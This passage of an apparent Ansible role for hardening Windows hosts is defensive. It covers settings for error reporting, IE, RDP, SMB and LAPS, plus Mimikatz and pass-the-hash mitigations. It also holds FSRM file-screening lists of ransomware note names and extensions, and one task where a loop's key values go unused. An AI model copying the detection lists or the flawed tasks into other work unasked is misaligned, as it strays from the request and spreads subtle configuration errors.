/tasks/windows-error-reporting.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## https://technet.microsoft.com/en-us/library/cc709644%28WS.10%29.aspx 3 | ## https://msdn.microsoft.com/en-us/library/windows/desktop/bb513638(v=vs.85).aspx 4 | ## https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/sosp153-glerum-web.pdf 5 | ## http://www.ten-inc.com/presentations/Websense_Crash_Whitepaper.PDF 6 | ## https://github.com/zredlined/drwatson/tree/master 7 | ## https://journeyintoir.blogspot.ca/2014/02/exploring-windows-error-reporting.html 8 | ## https://isc.sans.edu/forums/diary/Windows+Error+Reporting+DFIR+Benefits+and+Privacy+Concerns/22536/ 9 | 10 | - name: Configure Windows Error Reporting 11 | ansible.windows.win_regedit: 12 | key: HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting 13 | value: "{{ item.v }}" 14 | data: "{{ item.d }}" 15 | datatype: "{{ item.t }}" 16 | with_items: 17 | ## To enable or disable WER 18 | - { v: 'Disabled', d: '1', t: 'dword' } 19 | # 1 Parameters only (default win7), 2 All Data (default vista) 20 | - { v: 'ConfigureArchive', d: '1', t: 'dword' } 21 | # 1 Always Ask (default), 2 Parameters only, 3 Parameters and safe data, 4 All data 22 | - { v: 'Consent\DefaultConsent', d: '2', t: 'dword' } 23 | # - { v: 'CorporateWERDirectory', d: '', t: 'string' } 24 | # - { v: 'CorporateWERPortNumber', d: '', t: 'dword' } 25 | # - { v: 'CorporateWERServer', d: '', t: 'string' } 26 | # - { v: 'CorporateWERUseAuthentication', d: '', t: 'dword' } 27 | # - { v: 'CorporateWERUseSSL', d: '', t: 'dword' } 28 | - { v: 'DisableArchive', d: '0', t: 'dword' } 29 | - { v: 'DontShowUI', d: '1', t: 'dword' } 30 | - { v: 'DontSendAdditionalData', d: '1', t: 'dword' } 31 | # - { v: 'ExcludedApplications\[Application Name]', d: '', t: 'string' } 32 | - { v: 'ExcludedApplications\Keepass.exe', d: '', t: 'string' } 33 | # - { v: '', d: '', t: '' } 34 | -------------------------------------------------------------------------------- /tasks/windows-feature.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## TODO: Ensure Powershell v5 is installed before removing v2 else will affect ansible & others... 3 | 4 | ## https://technet.microsoft.com/en-us/itpro/powershell/windows/dism/disable-windowsoptionalfeature 5 | ## FIXME! 'InvalidOperation : (:) [Disable-WindowsOptionalFeature], PSInvalidOperationException_x000D__x000A_' 6 | ## https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-global-options-for-command-line-syntax 7 | ## https://technet.microsoft.com/en-us/library/dd744582(v=ws.10).aspx (DISM) 8 | 9 | - name: Get status of feature 10 | ansible.windows.win_command: Dism /online /Get-FeatureInfo /FeatureName:{{ item }} 11 | with_items: "{{ harden_win_disable_winfeature }}" 12 | register: dism_state 13 | 14 | - name: Disable Windows Optional Feature 15 | ansible.windows.win_command: "Dism /online /Disable-Feature /FeatureName:{{ item }} /NoRestart" 16 | with_items: "{{ harden_win_disable_winfeature }}" 17 | register: dism 18 | when: "windows_feature_dism_status not in dism_state.results[idx].stdout" 19 | failed_when: "'{{ windows_feature_dism_output }}' not in dism.stdout" 20 | loop_control: 21 | index_var: idx 22 | -------------------------------------------------------------------------------- /tasks/windows-filescreening.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## Win2k8+ 3 | ## https://github.com/MHaggis/hunt-detect-prevent/blob/master/Prevention/file%20screening%20PoSh.md 4 | 5 | # 2012 6 | - name: 2012 | File Server Resource Manager - enable FileScreening 7 | ansible.windows.win_shell: > 8 | New-FsrmFileGroup -Name "Malware Files" –IncludePattern @("*.FUN","*.KKK","*.GWS","*.BTC","_DECRYPT_INFO_*","_Locky_recover_instructions.txt","DECRYPT_INSTRUCTIONS.TXT", "DECRYPT_INSTRUCTIONS.HTML", "DECRYPT_INSTRUCTION.TXT", "DECRYPT_INSTRUCTION.HTML", "HELP_DECRYPT.TXT", "HELP_DECRYPT.HTML", "DecryptAllFiles.txt", "enc_files.txt", "HowDecrypt.txt", "How_Decrypt.txt", "How_Decrypt.html", "HELP_TO_DECRYPT_YOUR_FILES.txt", "HELP_RESTORE_FILES.txt", "HELP_TO_SAVE_FILES.txt", "restore_files*.txt", "restore_files.txt", "RECOVERY_KEY.TXT", "how to decrypt aes files.lnk", "HELP_DECRYPT.PNG", "HELP_DECRYPT.lnk", "DecryptAllFiles*.txt", "Decrypt.exe", "ATTENTION!!!.txt", "AllFilesAreLocked*.bmp", "MESSAGE.txt","*.locky","*.ezz", "*.ecc", "*.exx", "*.7z.encrypted", "*.ctbl", "*.encrypted", "*.aaa", "*.xtbl", "*.abc", "*.JUST", "*.EnCiPhErEd", "*.cryptolocker","*.micro") 9 | when: ansible_distribution_version is version_compare('6.3', '>=') 10 | 11 | # 2k8 R2 12 | - name: 2008 | File Server Resource Manager - enable FileScreening 13 | ansible.windows.win_shell: > 14 | filescrn Filegroup Add /Filegroup:"Ransomware Files" /Members:"*.FUN|*.KKK|*.GWS|*.BTC|_DECRYPT_INFO_*|_Locky_recover_instructions.txt|DECRYPT_INSTRUCTIONS.TXT|DECRYPT_INSTRUCTIONS.HTML|DECRYPT_INSTRUCTION.TXT|DECRYPT_INSTRUCTION.HTML|HELP_DECRYPT.TXT|HELP_DECRYPT.HTML|DecryptAllFiles.txt|enc_files.txt|HowDecrypt.txt|How_Decrypt.txt|How_Decrypt.html|HELP_TO_DECRYPT_YOUR_FILES.txt|HELP_RESTORE_FILES.txt|HELP_TO_SAVE_FILES.txt|restore_files*.txt|restore_files.txt|RECOVERY_KEY.TXT|how to decryp t aes files.lnk|HELP_DECRYPT.PNG|HELP_DECRYPT.lnk|DecryptAllFiles*.txt|Decrypt.exe|ATTENTION!!!.txt|AllFilesAreLocked*.bmp|MESSAGE.txt|*.locky|*.ezz|*.ecc|*.exx|*.7z.encrypted|*.ctbl|*.encrypted|*.aaa|*.xtbl|*.abc|*.JUST|*.EnCiPhErEd|*.cryptolocker|*.micro" 15 | when: ansible_distribution_version is version_compare('6.0', '==') 16 | -------------------------------------------------------------------------------- /tasks/windows-flash.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## https://sverdis.com/hardening-flash-mission-impossible/ 4 | ## http://www.adobe.com/content/dam/Adobe/en/devnet/flashplayer/pdfs/flash_player_17_0_admin_guide.pdf 5 | 6 | - name: Ensure flash config dir exists 7 | ansible.windows.win_file: 8 | dest: 'c:\Windows\SysWow64\Macromed\Flash' 9 | state: directory 10 | 11 | - name: Win | (try to) harden flash 12 | ansible.windows.win_template: 13 | src: mms.cfg.j2 14 | dest: 'c:\Windows\SysWow64\Macromed\Flash\mms.cfg' 15 | -------------------------------------------------------------------------------- /tasks/windows-ie.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: IE 64-bit tab 4 | ansible.windows.win_regedit: 5 | key: HKLM:\Software\Policies\Microsoft\Internet Explorer\Main 6 | value: Isolation64Bit 7 | datatype: dword 8 | data: 1 9 | 10 | - name: Run antimalware programs against ActiveX controls 11 | ansible.windows.win_regedit: 12 | key: HKLM:\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 13 | value: "270C" 14 | datatype: dword 15 | data: 0 16 | 17 | - name: Disable IE add-ons 18 | ansible.windows.win_regedit: 19 | key: HKCU:\Software\Microsoft\Internet Explorer\Main 20 | value: "Enable Browser Extensions" 21 | datatype: string 22 | data: "no" 23 | 24 | ## https://www.stigviewer.com/stig/internet_explorer_8/2013-04-01/finding/V-15494 25 | - name: Turn off the Security Settings Check feature is not disabled 26 | ansible.windows.win_regedit: 27 | key: HKLM:\Software\Policies\Microsoft\Internet Explorer\Security Criteria 28 | value: "DisableSecuritySettingsCheck" 29 | datatype: dword 30 | data: 0 31 | 32 | ## https://community.spiceworks.com/topic/314789-how-do-i-allow-only-browsing-an-intranet-site-on-our-terminal-server 33 | - name: Proxy 34 | when: harden_win_ie_proxy | bool 35 | block: 36 | - name: Configure Internet Proxy 37 | ansible.windows.win_regedit: 38 | key: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings 39 | value: "{{ item.v }}" 40 | datatype: "{{ item.t }}" 41 | data: "{{ item.d }}" 42 | with_items: 43 | - { v: ProxyServer, t: string, d: "{{ harden_win_ie_proxy_url }}" } 44 | - { v: ProxyOverride, t: string, d: "{{ harden_win_ie_proxy_override }}" } 45 | - { v: ProxyEnable, t: dword, d: 1 } 46 | - name: No Proxy 47 | when: not harden_win_ie_proxy | bool 48 | block: 49 | - name: Disable Internet Proxy 50 | ansible.windows.win_regedit: 51 | key: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings 52 | value: "{{ item.v }}" 53 | datatype: "{{ item.t }}" 54 | data: "{{ item.d }}" 55 | with_items: 56 | - { v: ProxyEnable, t: dword, d: 0 } 57 | 58 | # https://support.microsoft.com/en-us/help/4586060/option-to-disable-jscript-execution 59 | - name: Disable JScript execution in Internet Explorer Internet Zone 60 | ansible.windows.win_regedit: 61 | key: "{{ item.k }}" 62 | value: "{{ item.v }}" 63 | datatype: "{{ item.t }}" 64 | data: "{{ item.d }}" 65 | with_items: 66 | - { k: 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\140D', 67 | v: "*", 68 | t: dword, 69 | d: 3 70 | } 71 | # Restrict JScript from executing scripts for emulated applications such as a 32-bit application running on a 64-bit device 72 | - { k: 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\140D', 73 | v: "EnableJScriptMitigation", 74 | t: dword, 75 | d: 1 76 | } 77 | - { k: 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\MSXML30', 78 | v: "EnableJScriptMitigation", 79 | t: dword, 80 | d: 1 81 | } 82 | - { k: 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\MSXML60', 83 | v: "EnableJScriptMitigation", 84 | t: dword, 85 | d: 1 86 | } 87 | -------------------------------------------------------------------------------- /tasks/windows-ipv6.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # 0x11 - Disable IPv6 on nontunnel interfaces (except the loopback) and on IPv6 tunnel interface 4 | - name: Disable Non-native IPv6 (Tunnels) 5 | ansible.windows.win_regedit: 6 | key: HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters 7 | name: DisabledComponents 8 | data: 17 9 | type: dword 10 | -------------------------------------------------------------------------------- /tasks/windows-laps.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## https://www.microsoft.com/en-us/download/details.aspx?id=46899 4 | - name: Download LAPS 5 | ansible.windows.win_get_url: 6 | url: 'https://download.microsoft.com/download/C/7/A/C7AAD914-A8A6-4904-88A1-29E657445D03/LAPS.x64.msi' 7 | dest: "{{ harden_win_temp_dir }}\\LAPS.x64.msi" 8 | register: dl_result 9 | until: dl_result is success 10 | 11 | - name: Install LAPS - targeted computer 12 | ansible.windows.win_package: 13 | path: "{{ harden_win_temp_dir }}\\LAPS.x64.msi" 14 | wait_for_children: true 15 | # To hide software in Programs and Features Control panel view, use msiexec parameter ARPSYSTEMCOMPONENT=1: 16 | arguments: '/quiet /qn ARPSYSTEMCOMPONENT=1' 17 | - name: DC | Install LAPS 18 | ansible.windows.win_package: 19 | path: "{{ harden_win_temp_dir }}\\LAPS.x64.msi" 20 | wait_for_children: true 21 | # silent install of CSE and all management tools 22 | arguments: '/qn ADDLOCAL=CSE,Management,Management.UI,Management.PS,Management.ADMX' 23 | 24 | - name: DC | add LAPS to AD schema 25 | ansible.windows.win_shell: | 26 | Import-Module AdmPwd.PS 27 | Update-AdmPwdADSchema 28 | Set-AdmPwdAuditing -OrgUnit $OU-of-Computers-to-Audit -AuditedPrincipals:$Group-to-Audit 29 | when: harden_win_laps_dc 30 | 31 | ## https://4sysops.com/archives/part-2-faqs-for-microsoft-local-administrator-password-solution-laps/ 32 | ## 0 (the default) to log errors only, 1 to log errors and warnings, and 2 for verbose logging. 33 | - name: Enable Errors and Warning logging 34 | ansible.windows.win_regedit: 35 | key: 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}' 36 | value: ExtensionDebugLevel 37 | data: 2 38 | datatype: dword 39 | -------------------------------------------------------------------------------- /tasks/windows-mimikatz.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Pre-Win server 2012 Mimikatz Protection - UseLogonCredential 4 | ansible.windows.win_regedit: 5 | key: HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest 6 | value: UseLogonCredential 7 | data: 0 8 | datatype: dword 9 | 10 | - name: Pre-Win server 2012 Mimikatz Protection - Negotiate 11 | ansible.windows.win_regedit: 12 | key: HKLM:\System\CurrentControlSet\Control\SecurityProviders\WDigest 13 | value: Negotiate 14 | data: 0 15 | datatype: dword 16 | 17 | ## default: 0 18 | - name: Enabled User Account Control - Admin Approval Mode for the built-in Administrator account 19 | ansible.windows.win_regedit: 20 | key: HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 21 | value: FilterAdministratorToken 22 | data: 1 23 | datatype: dword 24 | 25 | ## default: does not exist 26 | - name: Ensure Local administrators are filtered against Pass-The-Hash 27 | ansible.windows.win_regedit: 28 | key: HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 29 | value: LocalAccountTokenFilterPolicy 30 | data: 0 31 | datatype: dword 32 | when: harden_win_mimikatz_LocalAccountTokenFilterPolicy0 33 | 34 | - name: Enable LSA protection - RunAsPPL 35 | ansible.windows.win_regedit: 36 | key: HKLM:\SYSTEM\CurrentControlSet\Control\LSA 37 | value: RunAsPPL 38 | data: 1 39 | datatype: dword 40 | when: harden_win_mimikatz_RunAsPPL 41 | -------------------------------------------------------------------------------- /tasks/windows-msdt.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # https://twitter.com/gentilkiwi/status/1531384447219781634 4 | # or GPO: Computer Configuration > Administrative templates > System > Troubleshooting and Diagnostics > Scripted Diagnostics 5 | # https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ScriptedDiagnostics::ScriptedDiagnosticsExecutionPolicy 6 | - name: Disable Scripted Diagnostics - ms-msdt CVE-2022-30190 7 | ansible.windows.win_regedit: 8 | path: HKLM:\Software\Policies\Microsoft\Windows\ScriptedDiagnostics 9 | name: EnableDiagnostics 10 | data: 0 11 | type: dword 12 | 13 | # https://www.stigviewer.com/stig/windows_7/2014-04-02/finding/V-21967 14 | # https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ScriptedDiagnostics::BetterWhenConnected 15 | - name: Prevent Microsoft Support Diagnostic Tool (MSDT) interactive communication with Microsoft. 16 | ansible.windows.win_regedit: 17 | path: HKLM:\Software\Policies\Microsoft\Windows\ScriptedDiagnosticsProvider\Policy 18 | name: DisableQueryRemoteServer 19 | data: 0 20 | type: dword 21 | 22 | # https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.MSDT::WdiScenarioExecutionPolicy 23 | - name: Disable msdt data gathering 24 | ansible.windows.win_regedit: 25 | path: HKLM:\Software\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E5} 26 | name: ScenarioExecutionEnabled 27 | data: 0 28 | type: dword 29 | -------------------------------------------------------------------------------- /tasks/windows-netcease.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## http://securityaffairs.co/wordpress/52271/hacking/netcease-tool.html 4 | ## https://gallery.technet.microsoft.com/Net-Cease-Blocking-Net-1e8dcb5b 5 | 6 | - name: Check if netcease archive is present 7 | ansible.windows.win_stat: 8 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_netcease_url | basename }}" 9 | register: netceasedl 10 | - name: Download Netcease - restrict Net Session Enumeration (NetSessionEnum) default permissions 11 | ansible.windows.win_get_url: 12 | url: "{{ harden_win_netcease_url }}" 13 | dest: "{{ harden_win_temp_dir }}\\{{ harden_win_netcease_url | basename }}" 14 | # FIXME! no checksum option, https://github.com/ansible/ansible-modules-core/issues/4901 15 | when: not netceasedl.stat.exists 16 | register: dl_result 17 | until: dl_result is success 18 | 19 | - name: Uncompress Netcease 20 | community.windows.win_unzip: 21 | src: "{{ harden_win_temp_dir }}\\{{ harden_win_netcease_url | basename }}" 22 | dest: "{{ harden_win_temp_dir }}\\Netcease" 23 | creates: "{{ harden_win_temp_dir }}\\Netcease\\NetCease.ps1" 24 | 25 | ## FIXME! Note: Ansible has no module to edit ACL on registry entry... not idempotent 26 | - name: Execute Netcease 27 | ansible.windows.win_shell: "\"{{ harden_win_temp_dir }}\\Netcease\\NetCease.ps1\"" 28 | -------------------------------------------------------------------------------- /tasks/windows-nxlog.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Check if Nxlog archive already downloaded 4 | ansible.windows.win_stat: 5 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_remotelogging_nxlog_url | basename }}" 6 | register: nxlogdl 7 | - name: Download NXLog CE 8 | ansible.windows.win_get_url: 9 | url: "{{ harden_win_remotelogging_nxlog_url }}" 10 | dest: "{{ harden_win_temp_dir }}\\{{ harden_win_remotelogging_nxlog_url | basename }}" 11 | # FIXME! no checksum option 12 | when: not nxlogdl.stat.exists 13 | register: dl_result 14 | until: dl_result is success 15 | 16 | - name: Install NXLog CE 17 | ansible.windows.win_package: 18 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_remotelogging_nxlog_url | basename }}" 19 | wait_for_children: true 20 | 21 | - name: Configure NXLog CE 22 | ansible.windows.win_template: 23 | src: "{{ item.s }}.j2" 24 | dest: "c:\\Program Files (x86)\\nxlog\\{{ item.d | default(item.s | basename) }}" 25 | with_items: "{{ harden_win_nxlog_conf | default([]) }}" 26 | 27 | - name: Validate NXLog CE configuration 28 | ansible.windows.win_command: > 29 | "c:\Program Files (x86)\nxlog\nxlog.exe" -c "c:\Program Files (x86)\nxlog\conf\nxlog.conf" -v 30 | changed_when: false 31 | 32 | - name: Ensure nxlog service is enabled and started 33 | ansible.windows.win_service: 34 | name: nxlog 35 | state: started 36 | start_mode: auto 37 | 38 | ## nxlog configuration or graylog sidecar? 39 | ## https://github.com/SMAPPER/NXLog-AutoConfig 40 | ## http://www.systeen.com/2016/05/12/install-graylog-2-0-centos-7-collect-windows-logs/ 41 | ## https://github.com/Graylog2/collector-sidecar/releases 42 | # "C:\Program Files (x86)\graylog\collector-sidecar\graylog-collector-sidecar.exe" -service install 43 | # "C:\Program Files (x86)\graylog\collector-sidecar\graylog-collector-sidecar.exe" -service start 44 | -------------------------------------------------------------------------------- /tasks/windows-online.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: > 4 | Disabling Microsoft account logon sign-in option, eg. logging in without having to use local credentials 5 | and using microsoft online accounts 6 | ansible.windows.win_regedit: 7 | key: HKLM:\Software\Microsoft\PolicyManager\default\Settings\AllowYourAccount 8 | value: value 9 | data: 0 10 | datatype: dword 11 | 12 | - name: Disable Windows Store - Ensure Turn off Automatic Download and Install ofupdates is set to Disabled 13 | ansible.windows.win_regedit: 14 | key: HKLM:\Software\Policies\Microsoft\WindowsStore 15 | value: "{{ item.v }}" 16 | data: "{{ item.d }}" 17 | datatype: dword 18 | with_items: 19 | - { v: 'AutoDownload', d: 4 } 20 | - { v: 'DisableOSUpgrade', d: 1 } 21 | 22 | - name: Disable indexing encrypted files 23 | ansible.windows.win_regedit: 24 | key: HKLM:\Software\Policies\Microsoft\Windows\Windows Search 25 | value: AllowIndexingEncryptedStoresOrItems 26 | data: 0 27 | datatype: dword 28 | -------------------------------------------------------------------------------- /tasks/windows-paging.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior 3 | # https://www.tenforums.com/tutorials/77782-enable-disable-virtual-memory-pagefile-encryption-windows-10-a.html 4 | 5 | - name: Encrypts the memory paging file in the Windows operating system - registry 6 | ansible.windows.win_regedit: 7 | key: HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem 8 | value: NtfsEncryptPagingFile 9 | data: 1 10 | 11 | # - name: Check encryppagingfile setting 12 | # ansible.windows.win_command: fsutil behavior query encryppagingfile 13 | # changed_when: false 14 | # register: encryppagingfile 15 | 16 | # - name: Encrypts the memory paging file in the Windows operating system - fsutil 17 | # ansible.windows.win_command: fsutil behavior set encryppagingfile 1 18 | # when: encryppagingfile.stdout == 0 19 | -------------------------------------------------------------------------------- /tasks/windows-rdp-restricted.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## This will enable RestrictedAdmin mode, so that the destination system will accept incoming 4 | ## RestrictedAdmin-enabled connections) 5 | - name: Enable Remote Desktop RestrictedAdmin 6 | ansible.windows.win_regedit: 7 | key: HKLM:\System\CurrentControlSet\Control\Lsa 8 | value: DisableRestrictedAdmin 9 | data: 0 10 | datatype: dword 11 | -------------------------------------------------------------------------------- /tasks/windows-rdp.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Disable Remote Desktop 4 | ansible.windows.win_regedit: 5 | key: 'HKLM:\System\CurrentControlSet\Control\Terminal Server' 6 | value: fDenyTSConnections 7 | data: 1 8 | datatype: dword 9 | when: not harden_win_rdp_enable 10 | 11 | # https://www.stigviewer.com/stig/windows_10/2016-11-03/finding/V-63737 12 | - name: RDP must require secure RPC communications 13 | ansible.windows.win_regedit: 14 | key: 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' 15 | value: fEncryptRPCTraffic 16 | data: 1 17 | datatype: dword 18 | 19 | - name: Enforce Secure RDP connection (default ws2016) 20 | ansible.windows.win_regedit: 21 | key: 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' 22 | value: UserAuthentication 23 | data: 1 24 | datatype: dword 25 | 26 | - name: Enforce Secure RDP connection 27 | ansible.windows.win_regedit: 28 | key: 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' 29 | value: MinEncryptionLevel 30 | data: "{{ harden_win_rdp_encryptionlevel }}" 31 | datatype: dword 32 | 33 | - name: Import windows-rdp-restricted 34 | ansible.builtin.import_tasks: windows-rdp-restricted.yml 35 | -------------------------------------------------------------------------------- /tasks/windows-registry-hkcu.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/ 4 | ## HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\ 5 | ## \HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts 6 | ## Partially covered if Windows Script Host is disabled 7 | ## FIXME! NOK 8 | - name: Disable suspicious executabled file extensions (HKCU) 9 | ansible.windows.win_regedit: 10 | key: "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.{{ item }}" 11 | value: "(Default)" 12 | datatype: string 13 | data: "\"%windir%\\system32\\notepad.exe\" \"%1\"" 14 | with_items: "{{ harden_win_suspicious_ext }}" 15 | 16 | - name: Disable suspicious executabled file extensions (HKCU) 17 | ansible.windows.win_regedit: 18 | key: "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.{{ item }}\\OpenWithList" 19 | value: "a" 20 | datatype: string 21 | data: "\"%windir%\\system32\\notepad.exe\" \"%1\"" 22 | with_items: "{{ harden_win_suspicious_ext }}" 23 | 24 | - name: Update file associations - HKCU 25 | ansible.windows.win_regedit: 26 | key: "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\{{ item.ext }}" 27 | value: "(Default)" 28 | datatype: string 29 | data: "{{ item.path }}" 30 | with_items: "{{ harden_win_fileassoc }}" 31 | 32 | - name: Disable CMD 33 | ansible.windows.win_regedit: 34 | key: HKCU:\Software\Policies\Microsoft\Windows\System 35 | value: DisableCMD 36 | datatype: dword 37 | data: 1 38 | when: harden_windows_disable_cmd | bool 39 | -------------------------------------------------------------------------------- /tasks/windows-samri.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b 3 | 4 | - name: Check if SAMRi10 archive is present 5 | ansible.windows.win_stat: 6 | path: "{{ harden_win_temp_dir }}\\SAMRi10.zip" 7 | register: samridl 8 | - name: Download SAMRi10 9 | ansible.windows.win_get_url: 10 | url: "https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b/file/165593/1/SAMRi10.zip" 11 | dest: "{{ harden_win_temp_dir }}\\SAMRi10.zip" 12 | # FIXME! no checksum option, https://github.com/ansible/ansible-modules-core/issues/4901 13 | when: not samridl.stat.exists 14 | register: dl_result 15 | until: dl_result is success 16 | 17 | - name: Uncompress SAMRi10 18 | community.windows.win_unzip: 19 | src: "{{ harden_win_temp_dir }}\\SAMRi10.zip" 20 | dest: "{{ harden_win_temp_dir }}\\SAMRi10" 21 | creates: "{{ harden_win_temp_dir }}\\SAMRi10\\SAMRi10.ps1" 22 | 23 | - name: Execute SAMRi10 24 | ansible.windows.win_shell: "\"{{ harden_win_temp_dir }}\\SAMRi10\\SAMRi10.ps1\"" 25 | -------------------------------------------------------------------------------- /tasks/windows-smb.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Disable Older SMB 4 | ansible.windows.win_regedit: 5 | key: HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 6 | value: "{{ item }}" 7 | datatype: dword 8 | data: 0 9 | with_items: "{{ harden_win_disable_smb_proto }}" 10 | 11 | - name: Enable SmbServerNameHardeningLevel - SPN validation 12 | ansible.windows.win_regedit: 13 | key: HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters 14 | value: SmbServerNameHardeningLevel 15 | datatype: dword 16 | data: 1 17 | 18 | - name: Enable requiresecuritysignature - SMB signature 19 | ansible.windows.win_regedit: 20 | key: HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters 21 | value: requiresecuritysignature 22 | datatype: dword 23 | data: 1 24 | 25 | ## FIXME! ansible 2.3+: https://github.com/ansible/ansible/issues/18885 26 | - name: Prevent Anonymous Shares Access 27 | ansible.windows.win_regedit: 28 | key: HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters 29 | value: NullSessionShares 30 | datatype: multistring 31 | data: "" 32 | -------------------------------------------------------------------------------- /tasks/windows-sticky-keys.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # default: 510 4 | - name: Disable Sticky Keys (per user) 5 | ansible.windows.win_regedit: 6 | key: HKCU:\Control Panel\Accessibility\StickyKeys 7 | value: Flags 8 | data: 506 9 | datatype: dword 10 | -------------------------------------------------------------------------------- /tasks/windows-taskmanager.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # https://support.microsoft.com/en-us/help/555480 4 | - name: TaskManager | Disable globally 5 | ansible.windows.win_regedit: 6 | key: HKLM:\SOFTWARE\Policies\Microsoft\Windows\Task Scheduler5.0 7 | value: "{{ item.v }}" 8 | data: "{{ item.d }}" 9 | datatype: dword 10 | with_items: 11 | - { k: 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system', v: DisableTaskMgr, d: 1 } 12 | - { k: 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', v: DisableCAD, d: 1 } 13 | 14 | - name: TaskManager | Disable for current user 15 | ansible.windows.win_regedit: 16 | key: "{{ item.k }}" 17 | value: "{{ item.v }}" 18 | data: "{{ item.d }}" 19 | datatype: dword 20 | with_items: 21 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System', 22 | v: DisableTaskMgr, 23 | d: 0 24 | } 25 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\System', 26 | v: DisableTaskMgr, 27 | d: 0 28 | } 29 | -------------------------------------------------------------------------------- /tasks/windows-taskscheduler.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://blogs.technet.microsoft.com/askpfeplat/2013/07/14/why-you-shouldnt-disable-the-task-scheduler-service-in-windows-7-and-windows-8/ 3 | # https://support.microsoft.com/en-us/help/305612/how-to-prevent-a-user-from-running-task-scheduler-in-windows 4 | 5 | # eventually, allow creation at provisioning and just execution after 6 | - name: TaskScheduler | Disable DragAndDrop, TaskCreation, TaskDeletion globally 7 | ansible.windows.win_regedit: 8 | key: HKLM:\SOFTWARE\Policies\Microsoft\Windows\Task Scheduler5.0 9 | value: "{{ item.v }}" 10 | data: "{{ item.d }}" 11 | datatype: dword 12 | with_items: 13 | - { v: DragAndDrop, d: "{{ harden_win_disable_taskscheduler | ternary(1, 0) }}" } 14 | - { v: 'Task Creation', d: "{{ harden_win_disable_taskscheduler | ternary(1, 0) }}" } 15 | - { v: 'Task Deletion', d: "{{ harden_win_disable_taskscheduler | ternary(1, 0) }}" } 16 | 17 | - name: TaskScheduler | Disable execution globally 18 | ansible.windows.win_regedit: 19 | key: HKLM:\SOFTWARE\Policies\Microsoft\Windows\Task Scheduler5.0 20 | value: "{{ item.v }}" 21 | data: "{{ item.d }}" 22 | datatype: dword 23 | with_items: 24 | - { v: Execution, d: "{{ harden_win_disable_taskscheduler_execution | ternary(1, 0) }}" } 25 | 26 | # https://cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-009/ 27 | - name: TaskScheduler | Disable by ACL 28 | ansible.windows.win_command: > 29 | cacls c:\Windows\Tasks 30 | 